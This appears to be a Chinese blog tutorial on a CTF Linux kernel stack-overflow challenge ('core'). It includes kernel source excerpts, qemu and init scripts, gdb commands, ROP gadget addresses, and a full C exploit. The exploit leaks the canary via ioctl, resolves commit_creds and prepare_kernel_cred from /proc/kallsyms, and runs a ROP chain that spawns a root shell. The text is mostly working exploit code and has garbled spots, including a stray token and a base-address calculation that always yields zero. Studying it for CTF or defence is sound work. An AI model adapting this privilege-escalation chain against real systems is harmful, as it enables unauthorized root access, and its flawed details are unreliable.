ENTRY(entry_SYSCALL_64)/* SWAPGS_UNSAFE_STACK是一个宏，x86直接定义为swapgs指令 */SWAPGS_UNSAFE_STACK/* 保存栈值，并设置内核栈 */movq %rsp, PER_CPU_VAR(rsp_scratch)movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp/* 通过push保存寄存器值，形成一个pt_regs结构 *//* Construct struct pt_regs on stack */pushq  $ __USER_DS      /* pt_regs->ss */pushq  PER_CPU_VAR(rsp_scratch)  /* pt_regs->sp */pushq  %r11             /* pt_regs->flags */pushq  $__USER_CS      /* pt_regs->cs */pushq  %rcx             /* pt_regs->ip */pushq  %rax             /* pt_regs->orig_ax */pushq  %rdi             /* pt_regs->di */pushq  %rsi             /* pt_regs->si */pushq  %rdx             /* pt_regs->dx */pushq  %rcx tuichu    /* pt_regs->cx */pushq  $-ENOSYS        /* pt_regs->ax */pushq  %r8              /* pt_regs->r8 */pushq  %r9              /* pt_regs->r9 */pushq  %r10             /* pt_regs->r10 */pushq  %r11             /* pt_regs->r11 */sub $(6*8), %rsp      /* pt_regs->bp, bx, r12-15 not saved */

struct cred {    atomic_t    usage;#ifdef CONFIG_DEBUG_CREDENTIALS    atomic_t    subscribers;    /* number of processes subscribed */    void        *put_addr;    unsigned    magic;#define CRED_MAGIC  0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif    kuid_t      uid;        /* real UID of the task */    kgid_t      gid;        /* real GID of the task */    kuid_t      suid;       /* saved UID of the task */    kgid_t      sgid;       /* saved GID of the task */    kuid_t      euid;       /* effective UID of the task */    kgid_t      egid;       /* effective GID of the task */    kuid_t      fsuid;      /* UID for VFS ops */    kgid_t      fsgid;      /* GID for VFS ops */    unsigned    securebits; /* SUID-less security management */    kernel_cap_t    cap_inheritable; /* caps our children can inherit */    kernel_cap_t    cap_permitted;  /* caps we're permitted */    kernel_cap_t    cap_effective;  /* caps we can actually use */    kernel_cap_t    cap_bset;   /* capability bounding set */    kernel_cap_t    cap_ambient;    /* Ambient capability set */#ifdef CONFIG_KEYS    unsigned char   jit_keyring;    /* default keyring to attach requested                     * keys to */    struct key __rcu *session_keyring; /* keyring inherited over fork */    struct key  *process_keyring; /* keyring private to this process */    struct key  *thread_keyring; /* keyring private to this thread */    struct key  *request_key_auth; /* assumed request_key authority */#endif#ifdef CONFIG_SECURITY    void        *security;  /* subjective LSM security */#endif    struct user_struct *user;   /* real user ID subscription */    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */    struct group_info *group_info;  /* supplementary groups for euid/fsgid */    struct rcu_head rcu;        /* RCU deletion hook */} __randomize_layout;

/* Process credentials: */ /* Tracer's credentials at attach: */const struct cred __rcu        *ptracer_cred; /* Objective and real subjective task credentials (COW): */const struct cred __rcu        *real_cred; /* Effective (overridable) subjective task credentials (COW): */const struct cred __rcu        *cred;

struct cred *prepare_kernel_cred(struct task_struct *daemon){    const struct cred *old;    struct cred *new;     new = kmem_cache_alloc(cred_jar, GFP_KERNEL);    if (!new)        return NULL;     kdebug("prepare_kernel_cred() alloc %p", new);     if (daemon)        old = get_task_cred(daemon);    else        old = get_cred(&init_cred);

---之后咱们可以利用rootfs.cpio解压的文件中看到init脚本，此即为加载文件系统的脚本，在一般为boot.sh或start.sh脚本中也记录了qemu的启动参数

qemu-system-x86_64 \-m 128M \-kernel ./bzImage \-initrd  ./core.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \-s \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic  \

#!/bin/shmount -t proc proc /procmount -t sysfs sysfs /sysmount -t devtmpfs none /dev/sbin/mdev -smkdir -p /dev/ptsmv exp.c /mount -vt devpts -o gid=4,mode=620 none /dev/ptschmod 666 /dev/ptmxcat /proc/kallsyms > /tmp/kallsymsecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictifconfig eth0 upudhcpc -i eth0ifconfig eth0 10.0.2.15 netmask 255.255.255.0route add default gw 10.0.2.2insmod /core.ko#setsid /bin/cttyhack setuidgid 0 /bin/sh poweroff -d 120 -f &setsid /bin/cttyhack setuidgid 1000 /bin/shecho 'sh end!\n'umount /procumount /sys poweroff -d 0  -f

objdump -d ./vmlinux > ropgadget \cat ropgadget | grep "pop rdi; ret"

swapgs; popfq;  ret;mov rdi, rax;  call rdx;pop rdx; ret; pop rdi; ret;  pop rcx; ret;iretq

size_t user_cs, user_ss,user_rflags,user_sp; //int fd = 0;        // file pointer of process 'core' void saveStatus(){  __asm__("mov user_cs, cs;"          "mov user_ss, ss;"          "mov user_sp, rsp;"          "pushf;"          "pop user_rflags;"          );  puts("\033[34m\033[1m Status has been saved . \033[0m");}

cat /proc/kallsyms > /tmp/kallsyms

void get_function_address(){        FILE* sym_table = fopen("/tmp/kallsyms", "r");        // including all address of kernel functions,just like the user model running address.        if(sym_table == NULL){                printf("\033[31m\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\n\033[0m");                exit(1);        }        size_t addr = 0;        char type[0x10];        char func_name[0x50];        // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.        while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){                if(commit_creds && prepare_kernel_cred)                // two addresses of key functions are all found, return directly.                        return;                if(!strcmp(func_name, "commit_creds")){                // function "commit_creds" found                        commit_creds = addr;                        printf("\033[32m\033[1m[+] Note: Address of function \"commit_creds\" found: \033[0m%#llx\n", commit_creds);                }else if(!strcmp(func_name, "prepare_kernel_cred")){                        prepare_kernel_cred = addr;                        printf("\033[32m\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \033[0m%#llx\n", prepare_kernel_cred);                }        } }

#!/bin/bashgdb -q \  -ex "" \  -ex "file ./vmlinux" \  -ex "add-symbol-file ./extract/core.ko 0xffffffffc0000000" \  -ex "b core_copy_func" \  -ex "target remote localhost:1234" \

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <ctype.h>#include <sys/types.h>#include <sys/ioctl.h> size_t commit_creds = NULL, prepare_kernel_cred = NULL;        // address of to key function#define SWAPGS_POPFQ_RET 0xffffffff81a012da#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a#define POP_RDX_RET 0xffffffff810a0f49#define POP_RDI_RET 0xffffffff81000b2f #define POP_RCX_RET 0xffffffff81021e53#define IRETQ 0xffffffff81050ac2size_t user_cs, user_ss,user_rflags,user_sp; //int fd = 0;        // file pointer of process 'core' /*void saveStatus();void get_function_address();#void core_read(int fd, char* buf);void change_off(int fd, long long off);void core_copy_func(int fd, long long nbytes);void print_binary(char* buf, int length);void shell();*/void saveStatus(){  __asm__("mov user_cs, cs;"          "mov user_ss, ss;"          "mov user_sp, rsp;"          "pushf;"          "pop user_rflags;"          );  puts("\033[34m\033[1m Status has been saved . \033[0m");} void core_read(int fd, char *addr){  printf("try read\n");  ioctl(fd,0x6677889B,addr);  printf("read done!");} void change_off(int fd, long long off){  printf("try set off \n");  ioctl(fd,0x6677889C,off);} void core_copy_func(int fd, long long nbytes){  puts("try cp\n");  ioctl(fd,0x6677889A,nbytes);} void get_function_address(){        FILE* sym_table = fopen("/tmp/kallsyms", "r");        // including all address of kernel functions,just like the user model running address.        if(sym_table == NULL){                printf("\033[31m\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\n\033[0m");                exit(1);        }        size_t addr = 0;        char type[0x10];        char func_name[0x50];        // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.        while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){                if(commit_creds && prepare_kernel_cred)                // two addresses of key functions are all found, return directly.                        return;                if(!strcmp(func_name, "commit_creds")){                // function "commit_creds" found                        commit_creds = addr;                        printf("\033[32m\033[1m[+] Note: Address of function \"commit_creds\" found: \033[0m%#llx\n", commit_creds);                }else if(!strcmp(func_name, "prepare_kernel_cred")){                        prepare_kernel_cred = addr;                        printf("\033[32m\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \033[0m%#llx\n", prepare_kernel_cred);                }        }}  void shell(){        if(getuid()){                printf("\033[31m\033[1m[x] Error: Failed to get root, exiting......\n\033[0m");                exit(1);        }        printf("\033[32m\033[1m[+] Getting the root......\033[0m\n");        system("/bin/sh");        exit(0);} int main(){  saveStatus();  int fd = open("/proc/core",2);              //get the process fd  if(!fd){                printf("\033[31m\033[1m[x] Error: Cannot open process \"core\"\n\033[0m");                exit(1);        }  char buffer[0x100] = {0};        get_function_address();                // get addresses of two key function  ssize_t vmlinux = commit_creds - commit_creds;            //base address  printf("vmlinux_base = %x",vmlinux);  //get canary  size_t canary;  change_off(fd,0x40);  //getchar();   core_read(fd,buffer);  canary = ((size_t *)buffer)[0];  printf("canary ==> %p\n",canary);  //build the ROP  size_t rop_chain[0x1000] ,i= 0;  printf("construct the chain\n");  for(i=0; i< 10 ;i++){    rop_chain[i] = canary;  }  rop_chain[i++] = POP_RDI_RET + vmlinux ;  rop_chain[i++] = 0;  rop_chain[i++] = prepare_kernel_cred ;          //prepare_kernel_cred(0)  rop_chain[i++] = POP_RDX_RET + vmlinux;  rop_chain[i++] = POP_RCX_RET + vmlinux;  rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + vmlinux;  rop_chain[i++] = commit_creds ;  rop_chain[i++] = SWAPGS_POPFQ_RET + vmlinux;  rop_chain[i++] = 0;  rop_chain[i++] = IRETQ + vmlinux;  rop_chain[i++] = (size_t)shell;  rop_chain[i++] = user_cs;  rop_chain[i++] = user_rflags;  rop_chain[i++] = user_sp;  rop_chain[i++] = user_ss;  write(fd,rop_chain,0x800);  core_copy_func(fd,0xffffffffffff0100);}

gcc test.c -o test -static -masm=intel -g

# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们